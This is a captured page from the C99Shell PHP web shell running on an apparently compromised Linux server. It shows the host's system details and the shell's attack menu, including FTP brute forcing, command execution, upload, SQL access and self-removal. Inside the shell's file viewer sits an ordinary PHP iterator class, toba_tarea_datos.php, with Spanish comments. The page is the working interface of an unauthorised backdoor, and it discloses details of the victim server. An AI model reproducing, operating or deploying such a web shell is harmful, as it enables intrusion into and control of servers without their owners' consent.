!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/modelo/personalizacion/importador/tarea/   drwxr-xr-x
Free 14.63 GB of 61.93 GB (23.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     toba_tarea_datos.php (1.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Esta clase representa los datos de una tarea. Provee
 * funcionalidades para que su contenido sea alterado externamente y también
 * funciona como iterador de acciones (importador_tarea_accion)
 */
class toba_tarea_datos implements Iterator {
    
/**
     * Los registros que se van a incluir en la bd. Pueden ser registros de insert
     * o update
     * @var ArrayIterator
     */
    
protected $it_registros;


    
/**
     * Los registros organizados por tablas. Se mantienen dos estructuras diferentes
     * debido a los distintos usos que se le va a dar a esta clase
     * @var array
     */
    
protected $tablas;

    function  
__construct()
    {
        
$this->it_registros =  new ArrayIterator(array());
        
$this->tablas = array();
    }

    
/**
     * Agrega un registro al final del plan
     * @param toba_registro $registro
     */
    
function add_registro($registro)
    {
        
$this->it_registros->append($registro);
        
$this->tablas[$registro->get_tabla()] = $registro;
    }

    
/**
     * Devuelve todos los registros de una tabla
     * @param string $tabla
     * @return array
     */
    
function get_registros($tabla)
    {
        return (isset(
$this->tablas[$tabla])) ? $this->tablas[$tabla] : array();
    }

    
/**
     * @return toba_registro
     */
    
public function current()
    {
        return 
$this->it_registros->current();
    }

    public function 
key() 
    {
        return 
$this->it_registros->key();
    }
    
    public function 
next() 
    {
        
$this->it_registros->next();
    }

    public function 
rewind()
    {
        
$this->it_registros->rewind();
    }

    public function 
valid()
    {
        return 
$this->it_registros->valid();
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.8289 ]--